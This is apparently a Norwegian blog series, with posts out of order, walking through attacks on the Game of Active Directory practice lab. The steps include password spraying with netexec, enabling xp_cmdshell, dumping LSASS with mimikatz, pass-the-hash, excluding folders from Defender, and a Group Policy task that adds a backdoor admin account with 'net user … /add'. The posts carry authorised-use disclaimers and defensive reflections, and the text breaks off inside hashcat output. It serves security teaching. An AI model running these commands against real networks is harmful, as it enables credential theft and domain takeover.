I dette tilfellet ønsker jeg først og fremst å poengtere hvor alvorlig det er med gjenbruk av passord, så fokus faller på kompromittering via et gjenbrukt passord vi fant tidligere.
Det viser seg at sql_svc kontopassordet vi fant i mssql konfigurasjonsfilene på castelblack i north.sevenkingdoms.local også har blitt brukt på konto med samme navn, som kjører mssql på braavos.essos.local
Dette ser vi dersom vi scanner etter mssql tjenester på nettverket med kjent brukernavn og passord, ved hjelp av verktøyet netexec:
$netexecmssql10.3.2.10-30-usql_svc-p"YouWillNotKerboroast1ngMeeeeee"MSSQL10.3.2.221433CASTELBLACK [*] Windows 10 / Server 2019 Build 17763 (name:CASTELBLACK)(domain:north.sevenkingdoms.local)MSSQL10.3.2.231433BRAAVOS [*] Windows 10 / Server 2016 Build 14393 (name:BRAAVOS)(domain:essos.local)MSSQL10.3.2.221433CASTELBLACK [+] north.sevenkingdoms.local\sql_svc:YouWillNotKerboroast1ngMeeeeee (Pwn3d!)MSSQL10.3.2.231433BRAAVOS [+] essos.local\sql_svc:YouWillNotKerboroast1ngMeeeeee (Pwn3d!)Runningnxcagainst21targets━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━100%0:00:00
Vi bekrefter at vi kan få logget oss på mssql tjeneren med sql_svc og “YouWillNotKerboroast1ngMeeeeee” ved å først etterspørre en Kerberos Ticket-Granting-Ticket fra Kerberos Key Distribution Center i Essos.local, så peker vi KRB5CCNAME mot TGTen.
$impacket-getTGTessos.local/sql_svc:YouWillNotKerboroast1ngMeeeeeeImpacketv0.13.0.dev0-CopyrightFortra,LLCanditsaffiliatedcompanies[*] Saving ticket in sql_svc.ccache$exportKRB5CCNAME=/home/kali/Documents/goad-lab/sql_svc.ccache
Deretter kobler vi oss på braavos.essos.local sin mssqltjeneste med impacket-mssqlclient og spesifiserer at vi skal bruke kerberosbilletten vår for å skaffe oss tilgang.
$impacket-mssqlclient-k-no-passbraavos.essos.localImpacketv0.13.0.dev0-CopyrightFortra,LLCanditsaffiliatedcompanies[*] Encryption required, switching to TLS[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192[*] INFO(BRAAVOS\SQLEXPRESS): Line 1: Changed database context to 'master'.[*] INFO(BRAAVOS\SQLEXPRESS): Line 1: Changed language setting to us_english.[*] ACK: Result: 1 - Microsoft SQL Server (1507208)[!] Press help for extra shell commandsSQL (ESSOS\sql_svc dbo@master)>?lcd{path}-changesthecurrentlocaldirectoryto{path}exit-terminatestheserverprocess (and thissession)enable_xp_cmdshell-youknowwhatitmeansdisable_xp_cmdshell-youknowwhatitmeansenum_db-enumdatabasesenum_links-enumlinkedserversenum_impersonate-checkloginsthatcanbeimpersonatedenum_logins-enumloginusersenum_users-enumcurrentdbusersenum_owner-enumdbownerexec_as_user{user}-impersonatewithexecuteasuserexec_as_login{login}-impersonatewithexecuteasloginxp_cmdshell{cmd}-executescmdusingxp_cmdshellxp_dirtree{path}-executesxp_dirtreeonthepathsp_start_job{cmd}-executescmdusingthesqlserveragent (blind)use_link{link}-linkedservertouse (set use_linklocalhosttogobacktolocaloruse_link..togetbackonestep)!{cmd}-executesalocalshellcmdupload{from}{to}-uploadsfile{from}totheSQLServerhost{to}show_query-showquerymask_query-maskquery
Vi er nå inne på microsoft SQL tjenesten på braavos.essos.local som sql_svc brukeren.
Det første vi ønsker å gjøre er å sørge for at xp_cmdshell er påslått.
SQL (ESSOS\sql_svc dbo@master)> enable_xp_cmdshellINFO(BRAAVOS\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.INFO(BRAAVOS\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
Vi kan nå kjøre cmd.exe kommandoer på braavos via mssql tjeneren.
Hvorfor tok jeg meg bryet med å scanne med sharphound og å mate inn data i bloodhound hvis ikke det skal brukes? Vel, fordi jeg bestemte meg for å gå for en mer banal angrepsbane halvveis gjennom. Jeg hadde først tenkt å demonstrere angrepsvektorer som har mer med domain trust, foreign security principals etc å gjøre – men endte med å gå for noe så simpelt som passordmisbruk.
For å ikke la disse dataene gå til spille kan vi se litt på hva Bloodhound kan foreslå for veien videre.
Bloodhound viser svakheter vi kan utnytte for å ta oss gjennom essos.local helt til enterprise admin.
Vi merker sql_svc som kompromittert, og søker raskeste veiene til Enterprise Administrator i Essos.local.
SQL_SVC er medlem av Domain Users, som kan utnytte ADCSESC1 sårbarheten til å ta over hele essos.local, som gir oss kontroll over Administrators gruppen, som gir oss rettighet til å legge oss selv inn i Enterprise Admins.
SQL_SVC er også SQLAdmin på braavos.essos.local som vi har sett, og har fått et shell på den serveren. Denne serveren er satt opp som sertifikatserver for essos.local, og vi kan dermed utføre et “Golden Certificate” angrep for å ta kontroll over essos.local, og dermed igjen gjøre oss selv til eiere av hele Essos.Local
Bloodhound er ett av verktøyene jeg bruker jevnlig for å kartlegge sårbarheter, og her kan vi se et eksempel fra denne Game of Active Directory labben hva som kommer opp når jeg leter etter “shortest path to tier zero / domain admin”.
Bloodhound graph: Shortest path to t0/domain admin
Refleksjoner
Vi ser hvordan svake konfigurasjoner kan kompromittere ikke bare en hel AD forest, men i mange tilfeller kan vi også krysse til andre AD Forests via forskjellige angrepsbaner – av og til så banale ting som gjenbrukte passord, selv når passordet er sterkt i utgangspunktet hjelper det svært lite når passordet er på avveie.
Det er også verdt å merke seg at i Active Directory så saltes ikke passordene når de lagres i databasen, slik at samme passord vil resultere i samme hash uansett hvilket AD du befinner deg i, i verden. Det gjør at lister med millioner av kjente passord:hash kombinasjoner florerer på nettet, og som vi også har sett kan vi ofte angripe med pass-the-hash angrep uansett, så det er ikke alltid nødvendig å cracke passordet så lenge man har fanget opp hashen i et miljø med mangelfull SMB Signering.
I neste post skal vi se på hvordan vi kan misbruke feilkonfigurasjoner i Active Directory Certificate Services for å kompromittere hele essos.local.
Game of Active Directory del 3.2 – Persistence Privilege escalation & Lateral Movement fortsetter
Forord: Denne bloggserien viser reelle metoder angripere bruker for å bevege seg inn i, og ta over et AD miljø. All denne informasjonen er allerede offentlig tilgjengelig, og deles ikke for å gi grunnkurs i nettkriminalitet, men for å spre kunnskap om hvorfor vi må beskytte oss. Du må kun benytte disse verktøyene, metodene og prosedyrene i miljøer der du har fått eksplisitt samtykke av eier til å gjøre dette.
I forrige post anskaffet vi oss full kontroll over hele North subdomenet i sevenkingdoms.local AD-skogen. I denne posten skal vi ta over hele sevenkingdoms.local med mange av de samme MITRE ATT&CK teknikkene, og noen få nye, bl.a: T1484.001 – Group Policy Modification.
Active Directory Users and Computers
Vi er allerede inne som Backdoor Stark på Winterfell, og kan åpne server manager og kjøre Active Directory Users and Computers (ADUC) som domeneadministrator.
Som standard får vi opp domenet north.sevenkingdoms.local men vi ønsker å se hva vi kan finne i sevenkingdoms.local så vi bytter domenekontekst
Vi bytter kontekst til sevenkingdoms.local for å utforske AD miljøet i hoveddomenet.
Vi blar litt rundt, og noterer oss at kontoen daenerys.targaryen ligger i en OU som heter AcrossTheNarrowSea og tilhører domenet ESSOS. Dette kan kanskje være nyttig i fremtiden, selv om det ikke er helt relevant akkurat nå.
ESSOS\Daenerys.Targaryen eksisterer i sevenkingdoms.local, det er interessant.
Vi bemerker oss at Kingslanding DCen befinner seg i default-first-site-name sammen med Winterfell DCen.
Både Kingslanding og Winterfell befinner seg i default-first-site-name.
Dersom vi kan linke en group policy til default-first-site-name kan vi tvinge kjøring av vilkårlig kode i sevenkingdoms.local og få et solid fotfeste i hele AD-skogen.
Group Policy Management
Vi fyrer opp Group Policy Management og ser litt på group policies. Vi har domeneadmin rettigheter allerede så vi kan opprette egne, men vi finner en policy som heter StarkWallpaper som vi faktisk kunne brukt fra starten av når vi fant Samwell.Tarly sitt passord i rekognoseringsfasen dersom vi hadde ønsket det, ettersom han har mange rettigheter på policyobjektet.
Samwell Tarly og Domain Administrator har full kontroll på GPOen StarkWallpaper.
Vi modifiserer StarkWallpaper til å opprette en planlagt oppgave som skal kjøre så fort policyen treffer en maskin.
GPO -> Edit -> Computer Configuration -> Control Panel Settings -> Scheduled Tasks -> New Immediate Task (At least Windows 7)
Vi kaller den “Open Sesame”, og setter den til å kjøre som NT Authority\System enten bruker er logget inn eller ei, og at den skal kjøre i høyeste privilegienivå.
Under handlinger oppretter vi først en handling som lager en ny bruker ved navn backdoor.baratheon med passordet hail2theking
C:\Windows\System32\net.exe user backdoor.baratheon hail2theking /add
Planlagt oppgave: opprette ny lokal bruker backdoor.baratheon med passord hail2theking
Deretter skal bobby.baratheon legges til i administrators slik at vi får lokale adminrettigheter på maskinen den kjører på.
Planlagte oppgaver: Opprette ny lokal bruker, og melde ny bruker inn i lokaladmin gruppen.
Neste steg er å koble policyen til default-first-site-name og å fremprovosere kjøring i sevenkingdoms.local, men får vi til det?
Vi begynner med å inkludere Default-First-Site-Name i visningen i group policy management under sites.
Vi får sett siten, men vi får ikke lov til å linke policyer som brukeren backdoor.stark.
Link an Existing GPO… er grået ut for NORTH\backdoor.stark på Default-First-Site-Name
Sites and Services
Finnes det kontoer med redigeringsrettigheter? La oss åpne Active Directory Sites and Services for å ta en titt.
Vi ser at Domain Admins og Enterprise Admins i sevenkingdoms.local har rettighetene – men vi har ikke kontroll over noen av disse brukerene enda (se bort fra T.L passordet vi fant tidligere som vi kunne brukt). Men SYSTEM som er en lokal konto har også Write tilgang på Default-First-Site-Name objektet.
SYSTEM har skriverettigheter på Default-First-Site-Name og kan dermed linke GPOer her.
PSExec
Vi laster opp SysInternals verktøyet PSExec64.exe til C:\tmp på Winterfell, og åpner et powershell-vindu med adminrettigheter for å starte psexec som admin.
PS C:\tmp> .\PsExec64.exePsExec v2.43- Execute processes remotelyCopyright (C)2001-2023 Mark RussinovichSysinternals -www.sysinternals.comPsExec executes a program on a remote system,where remotely executed consoleapplications execute interactively.Usage: psexec [\\computer[,computer2[,...]|@file]][-uuser[-ppsswd]][-ns][-rservicename][-h][-l][-s|-e][-x][-i[session]][-c[-f|-v]][-wdirectory][-d][-<priority>][-gn][-an,n,...][-verbose] cmd [arguments]-a Separate processors on which the application can run with commas where1 is the lowest numbered CPU. For example, to run the application on CPU 2 and CPU 4, enter:"-a 2,4"-c Copy the specified program to the remote system for execution. If you omit this option the application must be in the system path on the remote system.-d Don't wait for process to terminate (non-interactive). -e Does not load the specified account's profile.-f Copy the specified program even if the file already exists on the remote system.-g Set the primary thread's processor group to the one specified (Only for systems with more than 64 processors). -i Run the program so that it interacts with the desktop of the specified session on the remote system. If no session is specified the process runs in the console session. -h If the target system is Vista or higher, has the process run with the account's elevated token,if available.-l Run process as limited user (strips the Administrators group and allows only privileges assigned to the Users group). On Windows Vista the process runs with Low Integrity.-n Specifies timeout in seconds connecting to remote computers.-p Specifies optional password for user name. If you omit this you will be prompted to enter a hidden password.-r Specifies the name of the remote service to create or interact. with.-s Run the remote processin the System account.-u Specifies optional user name for login to remote computer.-v Copy the specified file only if it has a higher version number or is newer on than the one on the remote system.-w Set the working directory of the process(relative to remote computer).-x Display the UI on the Winlogon secure desktop (local system only).-arm Specifies the remote computer is of ARM architecture.-priority Specifies -low,-belownormal,-abovenormal,-high or-realtime to run the process at a different priority. Use-background to run at low memory and I/O priority on Vista. computer Direct PsExec to run the application on the remote computer or computers specified. If you omit the computer name PsExec runs the application on the local system, and if you specify a wildcard (\\*), PsExec runs the command on all computers in the current domain.@file PsExec will execute the command on each of the computers listedin the file. cmd Name of application to execute. arguments Arguments to pass (note that file paths must be absolute paths on the target system).-accepteula This flag suppresses the display of the license dialog.-nobanner Do not display the startup banner and copyright message.
Vi kjører psexec med flaggene -s for å kjøre som System, -i for å kjøre console og -d så ikke den trenger å vente på at sesjonen tar slutt, og ber den starte cmd.exe
PS C:\tmp> .\PsExec64.exe-s -i -d cmd.exePsExec v2.43- Execute processes remotelyCopyright (C)2001-2023 Mark RussinovichSysinternals -www.sysinternals.comcmd.exe started on WINTERFELL with process ID 2648.
Nå har vi et cmd.exe shell kjørende som nt authority\system på Winterfell DC-en. La oss kjøre en ny instans av Server Manager i denne konteksten, åpne group policy manager og sjekke om vi kan linke GPOer til Default-First-Site-Name nå.
Vi ser at “Link an existing GPO…” er klikkbar nå som vi kjører Group Policy Manager som NT Authority\System
Det får vi lov til, og vi linker StarkWallpaper GPOen her. Med det gjort ønsker vi nå å endre på security filtering, slik at den treffer domenekontrolleren Kingslanding i sevenkingdoms.local
Security Filtering: scopet mot KINGSLANDING$ i sevenkingdoms.local istedenfor Authenticated Users i north.sevenkingdoms.local
Verifisering
Vi scanner kjapt med NetExec for å se om vi får tilgang over RDP med backdoor.baratheon og passord hail2theking, og kan bekrefte at den har kjørt på både Winterfell og på Kingslanding, og at vi nå eier domenekontrolleren i sevenkingdoms.local
$netexecrdp10.3.2.10-30-ubackdoor.baratheon-phail2thekingRDP10.3.2.113389WINTERFELL [*] Windows 10 or Windows Server 2016 Build 17763 (name:WINTERFELL)(domain:north.sevenkingdoms.local)(nla:True)RDP10.3.2.103389KINGSLANDING [*] Windows 10 or Windows Server 2016 Build 17763 (name:KINGSLANDING)(domain:sevenkingdoms.local)(nla:True)RDP10.3.2.223389CASTELBLACK [*] Windows 10 or Windows Server 2016 Build 17763 (name:CASTELBLACK)(domain:north.sevenkingdoms.local)(nla:True)RDP10.3.2.123389MEEREEN [*] Windows 10 or Windows Server 2016 Build 14393 (name:MEEREEN)(domain:essos.local)(nla:True)RDP10.3.2.233389BRAAVOS [*] Windows 10 or Windows Server 2016 Build 14393 (name:BRAAVOS)(domain:essos.local)(nla:True)RDP10.3.2.113389WINTERFELL [+] north.sevenkingdoms.local\backdoor.baratheon:hail2theking (Pwn3d!)RDP10.3.2.103389KINGSLANDING [+] sevenkingdoms.local\backdoor.baratheon:hail2theking (Pwn3d!)RDP10.3.2.223389CASTELBLACK [+] north.sevenkingdoms.local\backdoor.baratheon:hail2theking RDP10.3.2.123389MEEREEN [-] essos.local\backdoor.baratheon:hail2theking (STATUS_LOGON_FAILURE)RDP10.3.2.233389BRAAVOS [-] essos.local\backdoor.baratheon:hail2theking (encoded_datamustbeabytestring,notNoneType)Runningnxcagainst21targets━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━100%0:00:00
Vi lykkes med å logge på kingslanding DCen i sevenkingdoms.local som backdoor.baratheon og vi har full admintilgang – også i domenet.
Vi kan f.eks elevere oss selv til Enterprise Admin i skogen via ADUC
Vi legger oss selv til som Enterprise Admin
Herfra kan vi se om det er noen spennende måter å få fotfeste i Essos.local domenet, som er det vi skal ta for oss i neste innlegg.
Refleksjon
Som vi så var det en smal sak å forflytte seg fra et underdomene til et overordnet domene når man allerede hadde kontroll over en domenekontroller, og kontrollerene i begge strukturene delte samme site. Dette er en sårbar standardkonfigurasjon i Active Directory veldig mange ikke er klar over, og kan utnyttes for å bryte hele skogen når man først har fått et solid feste i ett av domenene.
Vi har funnet andre indikatorer på at ting ikke er som de skal, vi kunne enumerere objekter i sevenkingdoms.local via robb.stark i north.sevenkingdoms.local, og vi fant et passordhint for en konto “T.L” som ikke befinner seg i north.
Det er også mange flere sårbarheter men jeg ønsker ikke å kartlegge absolutt alle i denne serien, det er kun ment for å vise hvordan jeg valgte å løse det, slik at andre kan se hvor alvorlige konsekvensene kan være dersom man har slike svakheter i Active Directory miljøene sine.
Jeg føler ikke noe enormt tidspress med å gi ut råd om hvordan man tetter disse hullene ettersom alle verktøyene og teknikkene har vært ute i mange år allerede, og jeg tror det er i hovedsak administratorer som bør eksponeres for lavterskel-angrep som detet for å få øynene opp for hvor viktig det er å ta en ordentlig gjennomgang av identitetsmiljøet sitt.
Det er nemmelig slik i 2025 at trusselaktørene foretrekker å logge seg inn, ikke bryte seg inn.
Game of Active Directory del 3.1 – Persistence Privilege escalation & Lateral Movement
Forord: Denne bloggserien viser reelle metoder angripere bruker for å bevege seg inn i, og ta over et AD miljø. All denne informasjonen er allerede offentlig tilgjengelig, og deles ikke for å gi grunnkurs i nettkriminalitet, men for å spre kunnskap om hvorfor vi må beskytte oss. Du må kun benytte disse verktøyene, metodene og prosedyrene i miljøer der du har fått eksplisitt samtykke av eier til å gjøre dette.
Selv om vi allerede har eierskap over Robb Stark kontoen som er administrator på Winterfell og på Castelblack skal vi begynne på Castelblack med Jeor Mormont sin konto for å demonstrere hvordan man kan gå fra lokal administrator på en maskin, til å bli domeneadministrator i et domene.
Fotfeste
Vi begynner med å logge på som NORTH\jeor.mormont via Evil-WINRM:
Vi ser oss litt rundt på systemet når vi først har admintilgang, og vi finner en interessant mappe på C:\ som heter setup. Denne inneholder en mappe som heter mssql. I den mappen finner vi en fil ved navn sql_conf.ini som inneholder veldig spennende opplysninger.
MSSQL credentials er ofte gjenbrukt på flere tjenester. Vi tester å password spraye serverparken med konto sql_svc og passordet vi avdekket i config fila, og ser det funker på både CASTELBLACK og BRAAVOS, og de befinner seg henholdsvis i north.sevenkingdoms.local og i essos.local – vi har med andre ord gyldige MSSQL credentials i to domener.
$netexecmssql10.3.2.10-30-usql_svc-p"YouWillNotKerboroast1ngMeeeeee"MSSQL10.3.2.221433CASTELBLACK [*] Windows 10 / Server 2019 Build 17763 (name:CASTELBLACK)(domain:north.sevenkingdoms.local)MSSQL10.3.2.231433BRAAVOS [*] Windows 10 / Server 2016 Build 14393 (name:BRAAVOS)(domain:essos.local)MSSQL10.3.2.221433CASTELBLACK [+] north.sevenkingdoms.local\sql_svc:YouWillNotKerboroast1ngMeeeeee (Pwn3d!)MSSQL10.3.2.231433BRAAVOS [+] essos.local\sql_svc:YouWillNotKerboroast1ngMeeeeee (Pwn3d!)
XFREERDP3
Vi kobler på Castelblack serveren via RDP med verktøyet XFREERDP3, med brukeren jeor.mormont og passordet vi fant i scriptet på fileshare tidligere.
$xfreerdp3/u:jeor.mormont/p:_L0ngCl@w_/v:castelblack.north.sevenkingdoms.localCertificatedetailsforcastelblack.north.sevenkingdoms.local:3389 (RDP-Server):CommonName:castelblack.north.sevenkingdoms.localSubject:CN=castelblack.north.sevenkingdoms.localIssuer:CN=castelblack.north.sevenkingdoms.localValidfrom:Sep914:23:572025GMTValidto:Mar1114:23:572026GMTThumbprint:f1:8c:88:75:0d:a2:29:40:50:b3:71:30:dd:75:69:25:ee:f7:fc:6b:19:47:a7:90:c8:27:d0:66:f9:f1:69:a5TheaboveX.509certificatecouldnotbeverified,possiblybecauseyoudonothavetheCAcertificateinyourcertificatestore,orthecertificatehasexpired.PleaselookattheOpenSSLdocumentationonhowtoaddaprivateCAtothestore.Doyoutrusttheabovecertificate? (Y/T/N) y
Vi ser vi er inne på castelblack serveren som jeor.mormont via remote desktop protocol.
..og vi er inne, som jeor,mormont på castelblack via RDP.
Aktive sesjoner
Vi sjekker Task Manager for å se om det er noen interessante sesjoner vi kan prøve å dumpe ut, og her ser vi at robb.stark også er på maskinen. Vi har allerede stjelt og cracket hashen hans i forrige artikkel, men vi ønsker å se på enda en måte å få tak i denne kontoen på.
Det er to åpne brukersesjoner på maskinen: robb.stark, og jeor.mormont (oss).
Windows Defender
Som vi kan se er Defender real-time-protection allerede skrudd av på denne maskinen, men for å være helt sikre oppretter vi også en ekskludert mappe for verktøy vi ønsker å benytte.
C:\tmp\ er ekskludert fra Windows Defender, og real-time-scanning er avslått.
Verktøy
Det neste vi gjør er å laste opp noen verktøy vi skal bruke til å dumpe NTLM hasher, bl.a for Robb Stark brukeren ut av LSASS. Vi bruker like gjerne WinRM til å laste opp en kolleksjon med verktøy vi har som ligger i en mappe som heter wintools.
Med en lokal administratorkonto, defender deaktivert og verktøykasse på plass kan vi gå i gang med å fyre opp Mimikatz, og å dumpe ut hasher fra minnet.
PS C:\tmp\wintools\mimikatz> .\mimikatz.exe .#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )## \ / ## > https://blog.gentilkiwi.com/mimikatz'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com)'#####'> https://pingcastle.com/ https://mysmartlogon.com***/
i outputfilen katz.txt finner vi mye spennende – forkortet for å ikke bruke plass på unødvendig innhold.
Vi ser vi har plukket opp passordet til maskinkontoen CASTELBLACK$ i klartekst, og vi har også plukket opp NTLM hasher for jeor.mormont, robb.stark og sql_svc kontoene.
Pass-the-Hash
Vi hadde allerede passordene til alle tre kontoene, men dersom vi ikke hadde funnet dem via andre teknikker ville vi hatt disse NTLM hashene nå, og vi kan forsøke å knekke passord med HashCat, eller vi kan spare oss bryet og logge rett på tjenester med NTLM hashen uten å kunne passordet, i såkalte “pass-the-hash” angrep.
$xfreerdp3/u:robb.stark/pth:831486ac7f26860c9e2f51ac91e1a07a/v:winterfell.north.sevenkingdoms.localCertificatedetailsforwinterfell.north.sevenkingdoms.local:3389 (RDP-Server):CommonName:winterfell.north.sevenkingdoms.localSubject:CN=winterfell.north.sevenkingdoms.localIssuer:CN=winterfell.north.sevenkingdoms.localValidfrom:Sep914:10:312025GMTValidto:Mar1114:10:312026GMTThumbprint:7f:71:a3:d6:99:86:d5:5b:48:ca:0b:42:80:00:78:bf:74:46:54:80:72:ae:e0:2c:43:8f:5a:40:52:65:41:39TheaboveX.509certificatecouldnotbeverified,possiblybecauseyoudonothavetheCAcertificateinyourcertificatestore,orthecertificatehasexpired.PleaselookattheOpenSSLdocumentationonhowtoaddaprivateCAtothestore.Doyoutrusttheabovecertificate? (Y/T/N) y
Vi forsøker å logge på winterfell.north.sevenkingdoms.local som er domenekontroller i north subdomenet i ad-skogen sevenkingdoms.local.
“Account restrictions are preventing this user from signing in, For example: blank passwords aren’t allowed, sign-in times are limited, or a policy restriction has been enforced.”
Vi blir dessverre møtt med en beskjed om at dette ikke er tillatt grunnet kontorestriksjoner. Dette skyldes en innstilling som er satt noen steder og ikke andre.
NetExec med kontonavn og hash:
Prøver vi derimot å benytte hashen til robb.stark for smb enumerering ser vi at det funker helt fint, da dette ikke berøres av samme innstillingene.
$netexecsmb10.3.2.10-30-urobb.stark-H831486ac7f26860c9e2f51ac91e1a07aSMB10.3.2.11445WINTERFELL [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL)(domain:north.sevenkingdoms.local)(signing:True)(SMBv1:False)SMB10.3.2.10445KINGSLANDING [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING)(domain:sevenkingdoms.local)(signing:True)(SMBv1:False)SMB10.3.2.12445MEEREEN [*] Windows 10 / Server 2016 Build 14393 x64 (name:MEEREEN)(domain:essos.local)(signing:True)(SMBv1:True)SMB10.3.2.23445BRAAVOS [*] Windows 10 / Server 2016 Build 14393 x64 (name:BRAAVOS)(domain:essos.local)(signing:False)(SMBv1:True)SMB10.3.2.22445CASTELBLACK [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK)(domain:north.sevenkingdoms.local)(signing:False)(SMBv1:False)SMB10.3.2.11445WINTERFELL [+] north.sevenkingdoms.local\robb.stark:831486ac7f26860c9e2f51ac91e1a07a (Pwn3d!)SMB10.3.2.10445KINGSLANDING [-] sevenkingdoms.local\robb.stark:831486ac7f26860c9e2f51ac91e1a07a STATUS_LOGON_FAILURESMB10.3.2.12445MEEREEN [-] essos.local\robb.stark:831486ac7f26860c9e2f51ac91e1a07a STATUS_LOGON_FAILURESMB10.3.2.23445BRAAVOS [+] essos.local\robb.stark:831486ac7f26860c9e2f51ac91e1a07a (Guest)SMB10.3.2.22445CASTELBLACK [+] north.sevenkingdoms.local\robb.stark:831486ac7f26860c9e2f51ac91e1a07aRunningnxcagainst21targets━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━100%0:00:00
Overpass-the-hash
Vi benytter en teknikk som heter overpass-the-hash ved hjelp av mimikatz. På denne måten kan vi “oppgradere” til Kerberos autentisering som Robb.Stark på Castelblack serveren. Dette lar oss også snakke med domenet som om vi er Robb Stark.
mimikatz # privilege::debugPrivilege '20' OKmimikatz # sekurlsa::pth /user:robb.stark /domain:north.sevenkingdoms.local /ntlm:831486ac7f26860c9e2f51ac91e1a07auser : robb.starkdomain : north.sevenkingdoms.localprogram : cmd.exeimpers. : noNTLM : 831486ac7f26860c9e2f51ac91e1a07a| PID 1604| TID 4260| LSA Process is now R/W| LUID 0;2426481(00000000:00250671) \_ msv1_0 -data copy @ 00000225E0CBDBA0 : OK ! \_ kerberos -data copy @ 00000225E1279618 \_ aes256_hmac -> null \_ aes128_hmac -> null \_ rc4_hmac_nt OK \_ rc4_hmac_old OK \_ rc4_md4 OK \_ rc4_hmac_nt_exp OK \_ rc4_hmac_old_exp OK \_*Password replace @ 00000225E11D20C8 (32)-> null
Det åpnes et nytt cmd.exe vindu. Sjekker vi hvem vi er via /whoami ser vi at systemet mener vi er jeor.mormont enda.
Microsoft Windows [Version10.0.17763.7792](c)2018 Microsoft Corporation. All rights reserved.C:\Windows\system32>whoaminorth\jeor.mormont
Sjekker vi om vi har fått noen Kerberos tickets via KLIST ser vi at det ser jo heller dårlig ut.
C:\Windows\system32>klistCurrent LogonId is 0:0x375a10Cached Tickets: (0)
Men prøver vi å enumerere innholdet på C disken på Winterfell DCen så ser vi at det fungerer faktisk helt fint.
C:\Windows\system32>dir \\winterfell.north.sevenkingdoms.local\C$ Volume in drive \\winterfell.north.sevenkingdoms.local\C$ is Windows 2019 Volume Serial Number is 9458-49FB Directory of \\winterfell.north.sevenkingdoms.local\C$09/12/202505:43 AM 5,280 dns_log.txt09/10/202504:27 AM <DIR> inetpub05/11/202109:55 PM <DIR> PerfLogs09/09/202511:23 AM <DIR> Program Files05/11/202109:41 PM <DIR> Program Files (x86)09/11/202512:04 PM <DIR> setup09/10/202504:26 AM <DIR> tmp09/30/202510:56 AM <DIR> Users09/30/202510:31 AM <DIR> Windows1 File(s)5,280 bytes8 Dir(s)38,864,101,376 bytes free
Sjekker vi KLIST igjen ser vi at nå har vi fått en kerberos ticket-granting-ticket for robb.stark, og at vi også har hentet oss en Kerberos Service Ticket for robb som er gyldig mot fileshares på winterfell.
En mye brukt teknikk for å komme inn i et system er å opprette en egen bruker på målsystemet som vi bestemmer passordet på selv. I dette tilfellet ønsker vi å bruke PowerSploit, selv om det er mange måter å gjøre dette på, som med alle andre teknikker og verktøy denne serien demonstrerer.
Vi begynner med å laste inn powershell.exe og modulen PowerSploit fra verktøykassa. Deretter oppretter vi en SecureString med passordet vårt som i dette tilfellet er WinterIsComing. Så oppretter vi en ny bruker vi kaller Backdoor.Stark med dette passordet.
Backdoor Stark har kommet inn på Winterfell via RDP.
Refleksjon
Vi har altså tatt over hele North subdomenet i Sevenkingdoms.local skogen, med enkle metoder og verktøy som har vært offentlig tilgjengelige i lange tider – i noen tilfeller flere tiår – som likevel kan være ekstremt enkle og effektive i bruk mot selv maskiner som kjører Windows Server 2016 og Windows Server 2019!
Noen av svakhetene skyldes svake standardkonfigurasjoner som Microsoft lar stå for å sikre bakoverkompatibilitet med systemer fra 80- og 90-tallet rett ut av boksen. Andre ting skyldes dårlige administrative praksiser som svekker sikkerheten ytterligere.
I neste innlegg skal vi se hvordan vi kan ta oss fra eierskap i North subdomenet til eierskap over hele sevenkingdoms.local skogen ved å misbruke flere svake konfigurasjoner.
Forord: Denne bloggserien viser reelle metoder angripere bruker for å bevege seg inn i, og ta over et AD miljø. All denne informasjonen er allerede offentlig tilgjengelig, og deles ikke for å gi grunnkurs i nettkriminalitet, men for å spre kunnskap om hvorfor vi må beskytte oss. Du må kun benytte disse verktøyene, metodene og prosedyrene i miljøer der du har fått eksplisitt samtykke av eier til å gjøre dette.
I dette segmentet tar vi for oss “initial access” på systemer. Vi fokuserer på MITRE ATT&CK T1078.002 – Valid Accounts: Domain Accounts. Selv om vi allerede har passordet til Sam og hint om Arya, så skal vi utforske flere metoder i denne posten.
Responder
Dersom miljøet benytter NTLM-autentisering kan vi forsøke å stjele NTLM hasher fra nettverket. Disse kan man enten cracke offline for å finne kontopassordet. I mange tilfeller kan vi også utnytte en klassisk sårbarhet, og utføre såkalte relay-angrep der vi videresender hashen til en tjeneste uten å kunne passordet, og likevel kan vi bli autentisert som den kontoen mot en tjeneste.
Ettersom vi befinner oss på samme L2 broadcast domain som labben, kan vi kjøre et verktøy som heter Responder for å se om vi kan finne noen hasher.
$sudoresponder-Ivxlan100--analyze[+] Listening for events...[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned
Forsøker vi å cracke disse to oppfangede hashene med rockyou ordlista, ser vi at dette ikke lykkes for eddard.stark kontoen.
$hashcat-m5600creds/eddard.stark.north.sevenkingdoms.local.ntlmv2/usr/share/wordlists/rockyou.txthashcat (v6.2.6) startingOpenCLAPI (OpenCL 3.0PoCL6.0+debianLinux,None+Asserts,RELOC,SPIR-V,LLVM18.1.8,SLEEF,DISTRO,POCL_DEBUG) - Platform #1 [The pocl project]====================================================================================================================================================Minimumpasswordlengthsupportedbykernel:0Maximumpasswordlengthsupportedbykernel:256Hashes:1digests;1uniquedigests,1uniquesaltsBitmaps:16bits,65536entries,0x0000ffffmask,262144bytes,5/13rotatesRules:1Optimizersapplied:* Zero-Byte* Not-Iterated* Single-Hash* Single-SaltATTENTION!Pure (unoptimized) backend kernels selected.Purekernelscancracklongerpasswords,butdrasticallyreduceperformance.Ifyouwanttoswitchtooptimizedkernels,append-Otoyourcommandline.Seetheabovemessagetofindoutabouttheexactlimits.Watchdog:Temperatureaborttriggersetto90cHostmemoryrequiredforthisattack:1MBDictionarycachehit:* Filename..: 